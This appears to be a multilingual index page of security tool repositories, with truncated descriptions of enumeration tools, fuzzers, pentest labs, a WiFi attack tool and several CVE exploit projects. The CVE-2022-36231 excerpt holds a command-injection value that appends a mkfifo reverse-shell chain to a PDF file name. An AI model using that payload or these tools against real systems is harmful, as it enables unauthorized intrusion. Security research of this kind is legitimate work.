laforge

Laforge Security Competition Infrastructure Automation Framework Laforge enables rapid development of infrastructure for the purpose of information security competitions. Using a simple and intuitive configuration language, Laforge manages a dependency graph and state management and allows for...

Invoke-ArgFuscator

░█░█▄░█░█▒█░▄▀▄░█▄▀▒██▀░▒░ ▄▀▄▒█▀▄░▄▀▒▒█▀░█▒█░▄▀▀░▄▀▀▒▄▀▄░▀█▀░▄▀▄▒█▀▄░ ░█░█▒▀█░▀▄▀░▀▄▀░█▒█░█▄▄░▀▀░█▀█░█▀▄░▀▄█░█▀░▀▄█▒▄██░▀▄▄░█▀█░▒█▒░▀▄▀░█▀▄░ Invoke-ArgFuscator Invoke-ArgFuscator는 Windows, Linux, macOS에서 흔히 사용되는 시스템 기본 실행 파일용 난독화된 명령줄을 생성하는 데 도움이 되는 오픈소스 크로스플랫폼 PowerShell 모듈입니다. 👉 ArgFuscator의 대...

pFuzz

Что такое pFuzz / pFuzz Nedir ❓ pFuzz — это продвинутый инструмент фаззинга для Red Teaming, разработанный для наших исследований. Он помогает обходить веб-файрволы, используя одновременно различные методы. pFuzz — это продвинутый инструмент фаззинга, разработанный для исследований веб-приложений...

kraken

Warning I have been reviewing the Kraken-Client code and since this was my first ever react app, its old, clunky and it needs major improvement the server needs some work too. In the next few weeks/months I will do my best to rewrite it in either updated React or in another framework. Please feel...

ADCollector

ADCollector ADCollector — это легковесный инструмент, который перечисляет среду Active Directory для выявления возможных векторов атак. Он даёт вам базовое понимание конфигурации/развёртывания среды в качестве отправной точки. Примечания: ADCollector — это не замена мощному PowerView, он просто...

vulnx

vulnx Современный CLI для исследования данных об уязвимостях с мощными возможностями поиска, фильтрации и анализа Быстрый старт 1. Get vulnx go install github.com/projectdiscovery/vulnx/v2/cmd/vulnx@latest 2. Explore commands vulnx --help vulnx search --help 3. Start exploring vulnerabilities no...

spycast

SpyCast is a crossplatform mDNS enumeration tool that can work either in active mode by recursively querying services, or in passive mode by only listening to multicast packets. Building cargo build --release OS specific bundle packages for example dmg and app bundles on OSX can be built via: car...

spycast

SpyCast — это кроссплатформенный инструмент для перебора mDNS, который может работать как в активном режиме, рекурсивно опрашивая службы, так и в пассивном режиме, только прослушивая многоадресные пакеты. Сборка cargo build --release Пакеты для конкретной ОС например, dmg и app-пакеты в OSX можно...

cve-2025-3248-exploit

CVE-2025-3248: Langflow 무인증 RCE 취약점 스캐너 Langflow 버전 ≤ 1.3.0에 영향을 미치는 치명적인 무인증 원격 코드 실행 취약점인 CVE-2025-3248 을 테스트하고 시연하기 위한 포괄적인 Python 익스플로잇 프레임워크입니다. 🔴 취약점 개요 CVE-2025-3248: Langflow 코드 삽입 RCE 속성| 값 ---|--- CVE ID| CVE-2025-3248 제품| Langflow 영향을 받는 버전| ≤ 1.3.0 취약점 유형| 무인증 원격 코드 실행 RCE 공격 경로| 네트워크...

CVE-2022-36231

CVE-2022-36231 Ruby gem pdfinfo /dev/null Как и в методе initialize, для переменной @pdfpath не выполняется проверка. Это позволяет нам использовать объединение команд с помощью ; для выполнения произвольной команды: info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/s...

bbrecon

This project is no longer maintained and I took the crawling infrastructure offline. The audience was not big enough to justify maintaining it. Bug Bounty Recon bbrecon is a free Recon-as-a-Service for bug bounty hunters and security researchers. The API aims to provide a continuously up-to-date...

bbrecon

Этот проект больше не поддерживается, и я отключил инфраструктуру сканирования. Аудитория оказалась недостаточно велика, чтобы оправдать её содержание. Bug Bounty Recon bbrecon — это бесплатный сервис Recon-as-a-Service для охотников за багами и исследователей безопасности. API предоставляет...

pentest_lab

Pentest Lab Я больше не занимаюсь активной разработкой этого проекта, но буду исправлять ошибки и рассматривать issues и pull requests. Помощь приветствуется : Эта локальная лаборатория для пентеста использует docker compose для запуска нескольких сервисов-жертв и атакующего сервиса с Kali Linux...

pentest_lab

Pentest Lab I'm not actively developing on this anymore, but will fix bugs and look at issues and pull requests. Help is appreciated : This local pentest lab leverages docker compose to spin up multiple victim services and an attacker service running Kali Linux. If you run this lab for the first...

CVE-2026-42945-POC

CVE-2026-42945 NGINX Rift — Эксплойт для HTB Автономный эксплойт для уязвимости переполнения кучи NGINX, обнаруженной в 2024 году. Эта версия оптимизирована для окружений HackTheBox и CTF, где невозможно настроить Docker-контейнеры. Детали уязвимости CVE-2026-42945 — это критическое переполнение...

Fennec

Fennec 🦊 fennec — это инструмент для сбора артефактов, написанный на Rust и предназначенный для реагирования на инциденты в системах на базе nix. fennec позволяет вам написать файл конфигурации, который определяет, как собирать артефакты. Возможности 🌟 🦀 Один статически скомпилированный бинарник ...

safe-chain

Aikido Safe Chain ✅ Block malware on developer laptops and CI/CD ✅ Supports npm and PyPI more package managers coming ✅ Blocks packages newer than 48 hours without breaking your build ✅ Tokenless, free, no build data shared Need protection beyond npm & PyPI? Aikido Device Protection builds on Saf...

deep-pwning

Deep-pwning is a lightweight framework for experimenting with machine learning models with the goal of evaluating their robustness against a motivated adversary. Note that deep-pwning in its current state is no where close to maturity or completion. It is meant to be experimented with, expanded...

goblin

libgoblin Documentation https://docs.rs/goblin/ changelog Usage Goblin requires rustc 1.85.0 Rust 2024 edition. Add to your Cargo.toml dependencies goblin = "0.10" Features awesome crate name zero-copy, cross-platform, endian-aware, ELF64/32 implementation - wow! zero-copy, cross-platform,...

AngryOxide

AngryOxide 😡 Rust로 제작된 802.11 공격 도구 🦀 ! 이 도구는 연구 목적으로만 사용됩니다. AngryOxide를 사용하는 동안 하는 모든 행동이나 일으키는 피해에 대해 저는 책임지지 않습니다. 권한이 있는 네트워크에만 사용하세요. AngryOxide는 Rust, netlink, 커널 소켓, 그리고 WiFi 익스플로잇을 한 번에 배우기 위한 방법으로 개발되었습니다. AngryOxide 사용 방법에 대한 정보는 사용자 가이드에서 확인할 수 있습니다. 참고: 이 프로젝트는 한창 개발 중이며 매우 빠른 릴리스 주기...